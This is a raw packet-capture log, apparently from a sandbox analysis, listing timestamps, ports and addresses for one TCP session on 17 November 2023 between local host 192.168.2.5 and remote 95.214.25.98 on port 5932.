Nov 17, 2023 06:23:08.308912992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.308964014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.308989048 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.310060024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.310094118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.310112953 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.311189890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.311208963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.311243057 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.312331915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.312350988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.312388897 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.313469887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.313493013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.313532114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.314604044 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.314624071 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.314661026 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.315673113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.315702915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.315726042 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.316893101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.316914082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.316946983 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.318037033 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.318056107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.318092108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.319125891 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.319171906 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.319202900 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.320626020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.320646048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.320677042 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.321408987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.321429014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.321455956 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.322516918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.322535992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.322561979 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.323581934 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.323601007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.323626995 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.324702024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.324721098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.324748993 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.325881004 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.325901031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.325927973 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.327023029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.327040911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.327079058 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.328119040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.328138113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.328171015 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.329256058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.329298973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.329328060 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.330326080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.330343962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.330372095 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.331495047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.331513882 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.331545115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.332632065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.332649946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.332678080 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.333760023 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.333780050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.333808899 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.334886074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.334903002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.334932089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.336007118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.336051941 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.336097002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.337234020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.337275982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.337277889 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.340008974 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.340053082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.340090990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.343331099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.343360901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.343497038 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.346251965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.346271992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.346304893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.349594116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.349620104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.349648952 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.352672100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.352701902 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.352729082 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.355489969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.355509043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.355540991 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.356131077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.356149912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.356175900 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.357269049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.357289076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.357315063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.358349085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.358377934 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.358408928 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.359425068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.359452963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.359473944 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.360598087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.360615969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.360646963 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.361722946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.361742973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.361773014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.362925053 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.362977982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.363106012 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.364434004 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.364463091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.364492893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.365412951 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.365432024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.365466118 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.366187096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.366208076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.366235971 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.367377043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.367397070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.367424011 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.368472099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.368491888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.368519068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.369641066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.369661093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.369692087 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.370724916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.370743990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.370776892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.371896029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.371943951 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.371989012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.373022079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.373070002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.373097897 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.374126911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.374162912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.374182940 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.378118038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378144026 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378161907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378175974 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.378187895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378205061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378215075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.378226042 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378248930 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.378582001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378602982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.378633022 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.379757881 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.379782915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.379821062 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.380861998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.380886078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.380913973 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.381989002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.382009029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.382044077 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.383157969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.383208990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.383254051 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.384203911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.384222031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.384260893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.385431051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.385453939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.385512114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.386548996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.386574984 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.386617899 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.387604952 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.387660980 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.387682915 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.388756990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.388777018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.388814926 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.389910936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.389931917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.389967918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.391000986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.391024113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.391058922 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.392128944 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.392148018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.392184019 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.393266916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.393313885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.393342972 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.394404888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.394423962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.394453049 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.395519972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.395540953 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.395570040 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.396713018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.396733999 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.396761894 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.397887945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.397918940 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.397936106 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.398885965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.398905039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.398931026 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.400147915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.400166988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.400192976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.401175976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.401218891 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.401228905 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.402353048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.402371883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.402398109 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.403491020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.403532982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.403577089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.404565096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.404582977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.404612064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.405706882 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.405734062 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.405757904 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.406841993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.406862020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.406891108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.407948971 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.407968998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.407994986 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.409024954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.409065962 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.409066916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.410166979 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.410208941 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.410213947 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.411339998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.411359072 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.411380053 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.412439108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.412458897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.412477970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.413563013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.413618088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.413634062 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.414741039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.414777040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.414783001 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.415829897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.415851116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.415874004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.416976929 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.416996002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.417017937 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.418111086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.418129921 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.418167114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.419219017 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.419236898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.419277906 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.420353889 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.420373917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.420412064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.421478987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.421498060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.421526909 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.422617912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.422636986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.422657967 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.423739910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.423789978 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.423806906 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.424875975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.424894094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.424916029 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.425968885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.425987005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.426009893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.427026987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.427069902 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.427072048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.428214073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.428231955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.428252935 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.429282904 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.429301023 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.429323912 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.430406094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.430423975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.430445910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.431562901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.431581974 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.431606054 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.432641029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.432660103 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.432681084 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.433765888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.433811903 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.433825970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.434883118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.434931993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.434935093 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.435967922 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.435986996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.436014891 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.437163115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.437181950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.437211037 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.438256025 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.438273907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.438297033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.439352989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.439372063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.439393044 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.440454006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.440485954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.440495014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.441570997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.441612005 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.441623926 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.442692995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.442737103 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.442748070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.443880081 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.443923950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.443947077 CET	49714	5932	192.168.2.5	95.214.25.98
